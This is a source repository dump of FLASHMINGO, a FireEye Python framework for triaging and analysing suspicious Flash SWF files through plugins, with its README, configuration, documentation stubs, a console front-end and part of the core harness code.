├── .gitignore ├── LICENSE ├── README.md ├── cfg.yml ├── docs └── source │ ├── conf.py │ ├── examples.rst │ ├── flashmingo-cmd.rst │ ├── flashmingo.rst │ ├── index.rst │ ├── modules.rst │ └── plugins.rst ├── examples.py ├── flashmingo-cmd.py ├── flashmingo ├── Flashmingo.py ├── SWFObject.py ├── __init__.py ├── hexdump.py └── resources.py ├── make.bat ├── plugins ├── binary_data │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── cve_search │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── dangerous_apis │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── decompiler │ ├── ___init__.py │ ├── decompilation.json │ ├── ffdec.py │ ├── ffdec_lib │ │ ├── CHANGELOG.md │ │ ├── ffdec_lib.jar │ │ └── license.txt │ ├── jython.jar │ ├── manifest.yml │ └── plugin.py ├── suspicious_constants │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── suspicious_loops │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── suspicious_names │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py └── template │ ├── ___init__.py │ ├── manifest.yml │ └── plugin.py ├── requirements.txt └── samples ├── BigRig.swf └── Evil.swf /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | 103 | # MacOS :| 104 | .DS_Store 105 | 106 | .vscode 107 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2019 FireEye, Inc. 2 | 3 | Licensed under the Apache License, Version 2.0 (the "License"); 4 | you may not use this file except in compliance with the License. 5 | You may obtain a copy of the License at 6 | 7 | http://www.apache.org/licenses/LICENSE-2.0 8 | 9 | Unless required by applicable law or agreed to in writing, software 10 | distributed under the License is distributed on an "AS IS" BASIS, 11 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | See the License for the specific language governing permissions and 13 | limitations under the License. 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FLASHMINGO 2 | 3 | ## Install 4 | 5 | > NOTE: The following instructions are for Python3. 6 | > 7 | > If you need to install FLASHMINGO on Python2.7 you can checkout the release 1.0 under the _releases_ tab. The installation steps are essentially the same. 8 | 9 | Install the Python3 packages listed in `requirements.txt`. 10 | 11 | You can use the following command: `pip3 install -r requirements.txt` 12 | 13 | If you want to use the decompilation functionality you need to install [Jython](https://www.jython.org/). Ubuntu/Debian users can issue `apt install jython` 14 | 15 | Clone the project or download the zip file. 16 | 17 | 18 | ## What 19 | 20 | FLASHMINGO is an analysis framework for SWF files. The tool automatically triages suspicious Flash files and guides the further analysis process, freeing precious resources in your team. You can easily incorporate FLASHMINGO’s analysis modules into your workflow. 21 | 22 | 23 | ## Why 24 | 25 | To this day forensic investigators and malware analysts must deal with suspicious SWF files. If history repeats itself the security threat may even become bigger beyond Flash’s end of life in 2020. Systems will continue to support a legacy file format that is not going to be updated with security patches anymore. Automation is the best way to deal with this issue and this is where FLASHMINGO can help you. FLASHMINGO is an analysis framework to automatically process SWF files that enables you to flag suspicious Flash samples and analyze them with minimal effort. It integrates into various analysis workflows as a stand-alone application or a powerful library. Users can easily extend the tool’s functionality via custom Python plugins. 26 | 27 | 28 | ## How 29 | 30 | ### Architecture 31 | 32 | FLASHMINGO is designed with simplicity in mind. It reads a SWF file and creates an object (`SWFObject`) representing its contents and structure. Afterwards FLASHMINGO runs a series of plugins acting on this `SWFObject` and returning their values to the main program. 33 | 34 | Below a mandatory ASCII art flow diagram: 35 | 36 | ``` 37 | +----------+ 38 | | | 39 | +------------+----------->+ PLUGIN 1 +------------+ 40 | | | | | | 41 | | | +----------+ | 42 | | | | 43 | | | +----------+ | 44 | | | | | | 45 | +---------+ | +----------->+ PLUGIN 2 +--------+ | 46 | |SWF FILE +----------->+ FLASHMINGO | | | | | 47 | +---------+ | | +----------+ | | 48 | | | | | 49 | | | | | 50 | | | | | 51 | | | +-----v---v-+ 52 | | | | | 53 | | | | | 54 | +-----+------+------------------------->+ SWFOBJECT | 55 | ^ | | 56 | | | | 57 | | +-----+-----+ 58 | | | 59 | | | 60 | | | 61 | +---------------------------------------+ 62 | 63 | ``` 64 | 65 | When using FLASHMINGO as a library in your own projects, you only need to take care of two kind of objects: 66 | 67 | - one or many `SWFObject`(s), representing the sample(s) 68 | - a `Flashmingo` object. This acts essentially as a harness connecting plugins and `SWFObject`(s). 69 | 70 | 71 | ## Plugins! 72 | 73 | FLASHMINGO plugins are stored in their own directories under... you guessed it: `plugins` 74 | When a `Flashmingo` object is instantiated, it goes through this directory and process all plugins' manifests. Should this indicate that the plugin is active, this is registered for later use. At the code level, this means that a small `plugin_info` dictionary is added to the `plugins` list. 75 | 76 | Plugins are invoked via the `run_plugin` API with two arguments: 77 | 78 | - the plugin's name 79 | - the `SWFObject` instance 80 | 81 | Optionally, most of the plugins allow you to pass your own *user data*. This is plugin dependent (read the documentation) and it can be more easily be explained with an example. 82 | The default plugin `SuspiciousNames` will search all constant pools for strings containing *suspicious* substrings (for example: 'overflow', 'spray', 'shell', etc.) There is a list of common substrings already hard-coded in the plugin so that it can be used `as-is`. However, you may pass a list of your own defined substrings, in this case via the `names` parameter. 83 | 84 | 85 | Code example: 86 | 87 | ```python 88 | fm = Flashmingo() 89 | print fm.run_plugin('DangerousAPIs', swf=swf) 90 | print fm.run_plugin('SuspiciousNames', swf=swf, names=['spooky']) 91 | ``` 92 | 93 | 94 | ### Default plugins 95 | 96 | FLASHMINGO ships with some useful plugins out of the box: 97 | 98 | - binary_data 99 | - dangerous_apis 100 | - decompiler 101 | - suspicious_constants 102 | - suspicious_loops 103 | - suspicious_names 104 | - template :) 105 | 106 | 107 | ### Extending FLASHMINGO 108 | 109 | A template plugin is provided for easy development. 110 | Extending FLASHMINGO is rather straightforward. Follow these simple steps: 111 | 112 | - Copy the template 113 | - Edit the manifest 114 | - Override the `run` method 115 | - Add your custom code 116 | 117 | You are ready to go :) 118 | 119 | 120 | ## FLASHMINGO as a library 121 | 122 | ### API 123 | 124 | - See the `docs` directory for autogenerated documentation 125 | - See FireEye's blog post for an example 126 | 127 | 128 | ## Front-ends 129 | 130 | - Console 131 | 132 | 133 | 134 | ## Create Documentation 135 | 136 | `$ pip install sphinxcontrib-napoleon` 137 | 138 | After setting up Sphinx to build your docs, enable napoleon in the Sphinx conf.py file: 139 | 140 | In `conf.py`, add napoleon to the extensions list 141 | 142 | `extensions = ['sphinxcontrib.napoleon']` 143 | 144 | Use sphinx-apidoc to build your API documentation: 145 | 146 | `$ sphinx-apidoc -f -o docs/source projectdir` 147 | 148 | This creates `.rst` files for Sphinx to process 149 | 150 | `$ make html` 151 | 152 | That's it! :) 153 | -------------------------------------------------------------------------------- /cfg.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | 3 | system: 4 | plugins_dir: plugins 5 | 6 | logging: 7 | debug: yes 8 | -------------------------------------------------------------------------------- /docs/source/conf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # Configuration file for the Sphinx documentation builder. 5 | # 6 | # This file does only contain a selection of the most common options. For a 7 | # full list see the documentation: 8 | # http://www.sphinx-doc.org/en/master/config 9 | 10 | # -- Path setup -------------------------------------------------------------- 11 | 12 | # If extensions (or modules to document with autodoc) are in another directory, 13 | # add these directories to sys.path here. If the directory is relative to the 14 | # documentation root, use os.path.abspath to make it absolute, like shown here. 15 | # 16 | # import os 17 | import sys 18 | sys.path.insert(0, r"D:\c0de\_FLASHMINGO") 19 | #sys.path.insert(0, os.path.abspath('.')) 20 | 21 | 22 | # -- Project information ----------------------------------------------------- 23 | 24 | project = u'FLASHM!NGO' 25 | copyright = u'2018, CGP' 26 | author = u'CGP' 27 | 28 | # The short X.Y version 29 | version = u'1.0' 30 | # The full version, including alpha/beta/rc tags 31 | release = u'1.0' 32 | 33 | 34 | # -- General configuration --------------------------------------------------- 35 | 36 | # If your documentation needs a minimal Sphinx version, state it here. 37 | # 38 | # needs_sphinx = '1.0' 39 | 40 | # Add any Sphinx extension module names here, as strings. They can be 41 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 42 | # ones. 43 | extensions = [ 44 | 'sphinx.ext.autodoc', 45 | 'sphinx.ext.intersphinx', 46 | 'sphinx.ext.ifconfig', 47 | ] 48 | 49 | # Add any paths that contain templates here, relative to this directory. 50 | templates_path = ['_templates'] 51 | 52 | # The suffix(es) of source filenames. 53 | # You can specify multiple suffix as a list of string: 54 | # 55 | # source_suffix = ['.rst', '.md'] 56 | source_suffix = '.rst' 57 | 58 | # The master toctree document. 59 | master_doc = 'index' 60 | 61 | # The language for content autogenerated by Sphinx. Refer to documentation 62 | # for a list of supported languages. 63 | # 64 | # This is also used if you do content translation via gettext catalogs. 65 | # Usually you set "language" from the command line for these cases. 66 | language = None 67 | 68 | # List of patterns, relative to source directory, that match files and 69 | # directories to ignore when looking for source files. 70 | # This pattern also affects html_static_path and html_extra_path. 71 | exclude_patterns = [] 72 | 73 | # The name of the Pygments (syntax highlighting) style to use. 74 | pygments_style = None 75 | 76 | 77 | # -- Options for HTML output ------------------------------------------------- 78 | 79 | # The theme to use for HTML and HTML Help pages. See the documentation for 80 | # a list of builtin themes. 81 | # 82 | html_theme = 'alabaster' 83 | 84 | # Theme options are theme-specific and customize the look and feel of a theme 85 | # further. For a list of options available for each theme, see the 86 | # documentation. 87 | # 88 | # html_theme_options = {} 89 | 90 | # Add any paths that contain custom static files (such as style sheets) here, 91 | # relative to this directory. They are copied after the builtin static files, 92 | # so a file named "default.css" will overwrite the builtin "default.css". 93 | html_static_path = ['_static'] 94 | 95 | # Custom sidebar templates, must be a dictionary that maps document names 96 | # to template names. 97 | # 98 | # The default sidebars (for documents that don't match any pattern) are 99 | # defined by theme itself. Builtin themes are using these templates by 100 | # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', 101 | # 'searchbox.html']``. 102 | # 103 | # html_sidebars = {} 104 | 105 | 106 | # -- Options for HTMLHelp output --------------------------------------------- 107 | 108 | # Output file base name for HTML help builder. 109 | htmlhelp_basename = 'FLASHMNGOdoc' 110 | 111 | 112 | # -- Options for LaTeX output ------------------------------------------------ 113 | 114 | latex_elements = { 115 | # The paper size ('letterpaper' or 'a4paper'). 116 | # 117 | # 'papersize': 'letterpaper', 118 | 119 | # The font size ('10pt', '11pt' or '12pt'). 120 | # 121 | # 'pointsize': '10pt', 122 | 123 | # Additional stuff for the LaTeX preamble. 124 | # 125 | # 'preamble': '', 126 | 127 | # Latex figure (float) alignment 128 | # 129 | # 'figure_align': 'htbp', 130 | } 131 | 132 | # Grouping the document tree into LaTeX files. List of tuples 133 | # (source start file, target name, title, 134 | # author, documentclass [howto, manual, or own class]). 135 | latex_documents = [ 136 | (master_doc, 'FLASHMNGO.tex', u'FLASHM!NGO Documentation', 137 | u'CGP', 'manual'), 138 | ] 139 | 140 | 141 | # -- Options for manual page output ------------------------------------------ 142 | 143 | # One entry per manual page. List of tuples 144 | # (source start file, name, description, authors, manual section). 145 | man_pages = [ 146 | (master_doc, 'flashmngo', u'FLASHM!NGO Documentation', 147 | [author], 1) 148 | ] 149 | 150 | 151 | # -- Options for Texinfo output ---------------------------------------------- 152 | 153 | # Grouping the document tree into Texinfo files. List of tuples 154 | # (source start file, target name, title, author, 155 | # dir menu entry, description, category) 156 | texinfo_documents = [ 157 | (master_doc, 'FLASHMNGO', u'FLASHM!NGO Documentation', 158 | author, 'FLASHMNGO', 'One line description of project.', 159 | 'Miscellaneous'), 160 | ] 161 | 162 | 163 | # -- Options for Epub output ------------------------------------------------- 164 | 165 | # Bibliographic Dublin Core info. 166 | epub_title = project 167 | 168 | # The unique identifier of the text. This can be a ISBN number 169 | # or the project homepage. 170 | # 171 | # epub_identifier = '' 172 | 173 | # A unique identification for the text. 174 | # 175 | # epub_uid = '' 176 | 177 | # A list of files that should not be packed into the epub file. 178 | epub_exclude_files = ['search.html'] 179 | 180 | 181 | # -- Extension configuration ------------------------------------------------- 182 | 183 | # -- Options for intersphinx extension --------------------------------------- 184 | 185 | # Example configuration for intersphinx: refer to the Python standard library. 186 | intersphinx_mapping = {'https://docs.python.org/': None} -------------------------------------------------------------------------------- /docs/source/examples.rst: -------------------------------------------------------------------------------- 1 | examples module 2 | =============== 3 | 4 | .. automodule:: examples 5 | :members: 6 | :undoc-members: 7 | :show-inheritance: 8 | -------------------------------------------------------------------------------- /docs/source/flashmingo-cmd.rst: -------------------------------------------------------------------------------- 1 | flashmingo\-cmd module 2 | ====================== 3 | 4 | .. automodule:: flashmingo-cmd 5 | :members: 6 | :undoc-members: 7 | :show-inheritance: 8 | -------------------------------------------------------------------------------- /docs/source/flashmingo.rst: -------------------------------------------------------------------------------- 1 | flashmingo package 2 | ================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | flashmingo.Flashmingo module 8 | ---------------------------- 9 | 10 | .. automodule:: flashmingo.Flashmingo 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | flashmingo.SWFObject module 16 | --------------------------- 17 | 18 | .. automodule:: flashmingo.SWFObject 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | flashmingo.hexdump module 24 | ------------------------- 25 | 26 | .. automodule:: flashmingo.hexdump 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | flashmingo.resources module 32 | --------------------------- 33 | 34 | .. automodule:: flashmingo.resources 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | 40 | Module contents 41 | --------------- 42 | 43 | .. automodule:: flashmingo 44 | :members: 45 | :undoc-members: 46 | :show-inheritance: 47 | -------------------------------------------------------------------------------- /docs/source/index.rst: -------------------------------------------------------------------------------- 1 | .. FLASHM!NGO documentation master file, created by 2 | sphinx-quickstart on Tue Nov 13 17:14:19 2018. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to FLASHM!NGO's documentation! 7 | ====================================== 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :caption: Contents: 12 | 13 | .. automodule:: flashmingo 14 | :members: 15 | 16 | 17 | Indices and tables 18 | ================== 19 | 20 | * :ref:`genindex` 21 | * :ref:`modindex` 22 | * :ref:`search` 23 | -------------------------------------------------------------------------------- /docs/source/modules.rst: -------------------------------------------------------------------------------- 1 | _FLASHMINGO 2 | =========== 3 | 4 | .. toctree:: 5 | :maxdepth: 4 6 | 7 | examples 8 | flashmingo 9 | flashmingo-cmd 10 | plugins 11 | -------------------------------------------------------------------------------- /docs/source/plugins.rst: -------------------------------------------------------------------------------- 1 | plugins package 2 | =============== 3 | 4 | Module contents 5 | --------------- 6 | 7 | .. automodule:: plugins 8 | :members: 9 | :undoc-members: 10 | :show-inheritance: 11 | -------------------------------------------------------------------------------- /examples.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! examples 5 | # A collection of simple examples to help you kickstart development 6 | 7 | 8 | def test_multinames(swf): 9 | print("Getting MultiNames information...") 10 | 11 | for mn_ns, mn_items in swf.multinames.items(): 12 | print("MultiNAME ({})".format(mn_ns)) 13 | print(", ".join(mn_items)) 14 | print() 15 | 16 | 17 | def test_method(swf, method_name): 18 | """Extracts information from a method 19 | 20 | Given a method name, this test mines all available 21 | information from the corresponding SWF 22 | """ 23 | 24 | mo = swf.get_method_obj_by_name(method_name) 25 | if not mo: 26 | print("[!] Could not find method {}".format(method_name)) 27 | return 28 | 29 | print("Method information for {}".format(method_name)) 30 | print() 31 | print("{} ({} params, {} locals): {} [idx: {}]".format( 32 | mo.name, mo.param_count, mo.local_count, mo.return_type, mo.idx)) 33 | 34 | print("Decompilation") 35 | print() 36 | print(swf.decompile_method(method_name)) 37 | 38 | print("Function calls") 39 | print() 40 | for call in swf.get_function_calls(method_name): 41 | print(call) 42 | 43 | print("Raw Disassembly") 44 | print() 45 | for ins in swf.disassemble_method(method_name): 46 | print(ins) 47 | 48 | 49 | def test_instances(swf, instance_name=''): 50 | """Prints an instance's information 51 | 52 | If no instance's name is given, print all. 53 | Instances can be thought as the SWF scripts 54 | 55 | Args: 56 | instance_name: name of an instance 57 | 58 | Returns: 59 | None 60 | """ 61 | 62 | print("Getting instance information...") 63 | 64 | for name, ii in swf.instance_info.items(): 65 | if instance_name and name != instance_name: 66 | continue 67 | 68 | print("instance ({})".format(name)) 69 | print(ii) 70 | print() 71 | 72 | 73 | def test_namespaces(swf): 74 | """Simple wrapper to display Namespaces data 75 | """ 76 | print("Getting Namespaces information...") 77 | 78 | for kind, name in swf.namespaces: 79 | print(kind, name) 80 | 81 | 82 | def test_debug_method(swf, method_name): 83 | """Get debug information for all instructions in a method 84 | 85 | This is useful during development mainly 86 | """ 87 | print("Debug disassembly") 88 | mo = swf.get_method_obj_by_name(method_name) 89 | 90 | offset = 0 91 | for ins in mo.instructions: 92 | print("[{} ({})]".format(offset, ins._size + 1)) 93 | swf.debug_instruction(ins) 94 | offset += ins._size + 1 95 | -------------------------------------------------------------------------------- /flashmingo-cmd.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # The tool for all your Flash analysis needs... with a funny name! 6 | 7 | import sys 8 | import logging 9 | import logging.handlers 10 | import warnings 11 | import cmd2 12 | 13 | from flashmingo.resources import flashmingo_banner, flashcmd_goodbye 14 | from flashmingo.Flashmingo import Flashmingo 15 | from flashmingo.SWFObject import SWFObject 16 | 17 | 18 | class FlashmingoCmd(cmd2.Cmd): 19 | """FLASHMINGO Cmd2 App""" 20 | 21 | def __init__(self): 22 | cmd2.Cmd.__init__(self) 23 | 24 | self.prompt = "[flashmingo] > " 25 | # Logging 26 | logger = self._init_logging() 27 | if not logger: 28 | sys.exit(1) 29 | 30 | self.logger = logger 31 | self.logger.propagate = False 32 | self.fm = Flashmingo(ml=logger) 33 | self.swf = None 34 | self.has_decompilation = False 35 | self.plugins_done = set([]) 36 | 37 | def preloop(self): 38 | """ Banner """ 39 | 40 | print(flashmingo_banner) 41 | 42 | def postloop(self): 43 | """ Exit message """ 44 | 45 | print(flashcmd_goodbye) 46 | 47 | # -------------------------------------------- 48 | # Command Handlers 49 | # -------------------------------------------- 50 | def do_load(self, sample_file): 51 | """load 52 | - Loads a sample file for processing 53 | IMPORTANT: use the fully qualified path to the file, 54 | ex.: C:\\samples\\sample.swf or /home/user/samples/sample.swf 55 | """ 56 | 57 | try: 58 | self.swf = SWFObject(sample_file, ml=self.logger) 59 | print("[*] Sample {} loaded!".format(sample_file)) 60 | except IOError as e: 61 | print("[x] Sample {} could not be loaded: {}".format(sample_file, e)) 62 | 63 | def do_show_plugins(self, args): 64 | """show_plugins 65 | - Display information about the available (active) plugins 66 | """ 67 | 68 | print() 69 | print(self.fm.show_active_plugins()) 70 | 71 | def do_run_plugin(self, plugin_name): 72 | """run_plugin 73 | - Executes the plugin named 74 | """ 75 | 76 | if not self.swf: 77 | print("[x] No sample loaded! Use the 'load' command first") 78 | return 79 | 80 | output = self.fm.run_plugin(plugin_name, swf=self.swf) 81 | print(output) 82 | 83 | self.plugins_done.add(str(plugin_name)) 84 | 85 | def do_decompile(self, args): 86 | """decompile 87 | - Decompiles all methods 88 | This information can be queried from the 89 | enriched SWFObject afterwards 90 | """ 91 | 92 | if not self.swf: 93 | print("[x] No sample loaded! Use the 'load' command first") 94 | return 95 | 96 | dec = self.fm.run_plugin('Decompiler', swf=self.swf) 97 | 98 | if not dec: 99 | print("[x] Decompilation did not produce any results!") 100 | return 101 | 102 | # The decompiler's output will be used normally 103 | # to enrich the SWFObject, like this: 104 | self.swf.decompiled_methods = dec 105 | self.has_decompilation = True 106 | print("[*] Decompilation available now.") 107 | 108 | self.plugins_done.add('Decompiler') 109 | 110 | def do_strange_loops(self, args): 111 | """strange_loops 112 | - Finds loops with suspicious instructions 113 | e.g. a loop containing a `bitxor` instruction 114 | """ 115 | 116 | # NOTE: this is an example of how to wrap the `run_plugin` 117 | # command for convenience 118 | 119 | if not self.swf: 120 | print("[x] No sample loaded! Use the 'load' command first") 121 | return 122 | 123 | meth_loop = self.fm.run_plugin('SuspiciousLoops', swf=self.swf) 124 | 125 | print("The following methods contain suspicious loops.") 126 | print("This may indicate encryption/encoding routines...") 127 | print() 128 | 129 | for method_name in meth_loop: 130 | instance_name = self.swf.get_instance_for_method(method_name) 131 | if instance_name: 132 | print(" - {}!{}".format(instance_name, method_name)) 133 | else: 134 | print(" - {}".format(method_name)) 135 | 136 | if self.has_decompilation: 137 | try: 138 | print("-" * 50) 139 | print() 140 | print(self.swf.decompile_method(method_name)) 141 | except Exception as e: 142 | print("[x] Unable to decompile {}".format(method_name)) 143 | 144 | self.plugins_done.add('SuspiciousLoops') 145 | 146 | def do_status(self, args): 147 | """status 148 | - Displays analysis session status 149 | """ 150 | 151 | if not self.swf: 152 | print("[x] No sample loaded! Use the 'load' command first") 153 | return 154 | 155 | print("Sample file:", self.swf.filename) 156 | print() 157 | print("Embedded binary data:") 158 | for name, data in self.swf.binary_data.items(): 159 | print(" - {} ({} bytes)".format(name, len(data))) 160 | 161 | print() 162 | print("Plugins already executed:") 163 | if not self.plugins_done: 164 | print(" - No plugins executed yet") 165 | else: 166 | for p in self.plugins_done: 167 | print(" - {}".format(p)) 168 | 169 | # -------------------------------------------- 170 | # Auxiliary 171 | # -------------------------------------------- 172 | def _init_logging(self): 173 | """ Rotating log files """ 174 | try: 175 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(module)s :: %(funcName)s: %(message)s', 176 | level=logging.DEBUG) 177 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(module)s :: %(funcName)s: %(message)s') 178 | 179 | handler = logging.handlers.RotatingFileHandler( 180 | 'flashmingo.log', 181 | maxBytes=5 * 1024 * 1024, 182 | backupCount=5) 183 | 184 | handler.setLevel(logging.DEBUG) 185 | handler.setFormatter(fmt) 186 | 187 | ml = logging.getLogger('main') 188 | ml.addHandler(handler) 189 | 190 | return ml 191 | except Exception as e: 192 | print("Error initializing logging:") 193 | print(e) 194 | return None 195 | 196 | 197 | def main(): 198 | # This prevents some useless warnings 199 | # from polluting the screen ouput 200 | warnings.simplefilter("ignore") 201 | 202 | c = FlashmingoCmd() 203 | c.cmdloop() 204 | 205 | 206 | if __name__ == "__main__": 207 | main() 208 | -------------------------------------------------------------------------------- /flashmingo/Flashmingo.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO 5 | # The tool for all your Flash analysis needs... with a funny name! 6 | 7 | import os 8 | import sys 9 | import imp 10 | import logging 11 | import logging.handlers 12 | import yaml 13 | 14 | from .resources import flashmingo_banner 15 | 16 | 17 | class Flashmingo: 18 | """FLASHMINGO main class 19 | 20 | FLASHMINGO is essentially a harness for plugins 21 | operating on SWFObjects (representing a SWF file) 22 | """ 23 | 24 | def __init__(self, ml=None): 25 | self.cfg = None 26 | self.log_level = '' 27 | self.ml = ml 28 | self.plugins_dir = '' 29 | self.plugins = [] 30 | self.config_file = 'cfg.yml' 31 | 32 | self._init_core() 33 | 34 | # Log the banner :) 35 | self.ml.info(flashmingo_banner) 36 | 37 | def _init_core(self): 38 | """Initializes the core functionality 39 | 40 | - Logging (rotating file) 41 | - Configuration (read from cfg.yml) 42 | - Plugin system 43 | """ 44 | 45 | if not self.ml: 46 | # No external logging facility 47 | # Flashmingo will use its own 48 | self.ml = self._init_logging() 49 | if not self.ml: 50 | print("Failed to initialize logging. Exiting...") 51 | sys.exit(1) 52 | 53 | self.cfg = self._read_config() 54 | 55 | if not self.cfg: 56 | self.ml.error('Failed to open the configuration file. Exiting...') 57 | sys.exit(1) 58 | 59 | self._register_plugins() 60 | 61 | def _init_logging(self): 62 | """Rotating log files 63 | 64 | This is used only if the Flashmingo object 65 | is instantiated without an external logging facility 66 | """ 67 | 68 | try: 69 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(module)s :: %(funcName)s: %(message)s', 70 | level=self.log_level) 71 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(module)s :: %(funcName)s: %(message)s') 72 | 73 | handler = logging.handlers.RotatingFileHandler( 74 | 'flashmingo.log', 75 | maxBytes=5 * 1024 * 1024, 76 | backupCount=5) 77 | 78 | handler.setLevel(logging.DEBUG) 79 | handler.setFormatter(fmt) 80 | 81 | ml = logging.getLogger('main') 82 | ml.addHandler(handler) 83 | 84 | return ml 85 | except Exception as e: 86 | print("Error initializing logging:") 87 | print(e) 88 | return None 89 | 90 | def _read_config(self): 91 | try: 92 | with open(self.config_file, 'r') as f: 93 | cfg = yaml.load(f) 94 | except Exception as e: 95 | self.ml.error(e) 96 | return None 97 | 98 | # Set some important values from the 99 | # YAML config file 100 | system = cfg['system'] 101 | 102 | self.plugins_dir = system['plugins_dir'] 103 | self.ml.info("Setting plugin directory: {}".format( 104 | self.plugins_dir)) 105 | 106 | debug = cfg['logging']['debug'] 107 | 108 | if debug: 109 | self.log_level = logging.DEBUG 110 | else: 111 | self.log_level = logging.INFO 112 | 113 | return cfg 114 | 115 | def _get_plugin_info_by_name(self, plugin_name): 116 | for p in self.plugins: 117 | if p['name'] == plugin_name: 118 | return p 119 | 120 | return None 121 | 122 | def _register_plugins(self): 123 | self.ml.info("Registering plugins...") 124 | 125 | if not self.plugins_dir: 126 | self.ml.error('Failed to get plugins_dir') 127 | sys.exit(1) 128 | 129 | # Go through all directories reading the 130 | # plugins config files 131 | for curr_path, _, filenames in os.walk(self.plugins_dir): 132 | for filename in filenames: 133 | if filename == "manifest.yml": 134 | manifest_path = os.path.join(curr_path, filename) 135 | 136 | try: 137 | with open(manifest_path, 'r') as f: 138 | manifest = yaml.load(f) 139 | except Exception as e: 140 | # We will just log and continue 141 | # The plugin will not be registered... 142 | msg = "Failed to read manifest {}".format( 143 | manifest_path) 144 | self.ml.error(msg) 145 | self.ml.error(e) 146 | 147 | plugin_name = manifest['name'] 148 | active = manifest['active'] 149 | description = manifest['description'] 150 | returns = manifest['returns'] 151 | 152 | if not active: 153 | msg = "Plugin {} deactivated in its config".format( 154 | plugin_name) 155 | self.ml.info(msg) 156 | continue 157 | 158 | msg = "Registering plugin {}".format( 159 | plugin_name) 160 | self.ml.info(msg) 161 | 162 | plugin_info = dict() 163 | plugin_info['name'] = plugin_name 164 | 165 | # This is the path containing the 166 | # plugin's code and manifest 167 | # ex. 'plugins/dangerous_apis' 168 | plugin_info['location'] = curr_path 169 | 170 | mod_path = curr_path.replace(os.sep, '.') 171 | mod_name = "{}.plugin".format(mod_path) 172 | plugin_info['mod_name'] = mod_name 173 | 174 | plugin_info['description'] = description 175 | plugin_info['returns'] = returns 176 | 177 | self.plugins.append(plugin_info) 178 | 179 | def show_banner(self): 180 | """ Now FLASHMINGO is complete :) 181 | 182 | Prints the banner. 183 | This is the very definition of 184 | "minimalistic wrapper". 185 | """ 186 | 187 | print(flashmingo_banner) 188 | 189 | def show_active_plugins(self): 190 | """Convenience wrapper. 191 | 192 | Displays a list of active plugins names 193 | """ 194 | 195 | print("Active plugins") 196 | print("--------------") 197 | print() 198 | 199 | for p in self.plugins: 200 | if not p: 201 | continue 202 | 203 | print("Plugin name: {}".format(p['name'])) 204 | print(" - desc: {}".format(p['description'])) 205 | print(" - returns: {}".format(p['returns'])) 206 | print() 207 | 208 | def run_plugin(self, plugin_name, swf=None, logger=None, **kwargs): 209 | """Run an active plugin 210 | 211 | Args: 212 | plugin_name (str): dough 213 | swf: An SWF # FIXME 214 | logger (Logging.Logger): A logger object # FIXME 215 | 216 | Returns: 217 | plugin's output 218 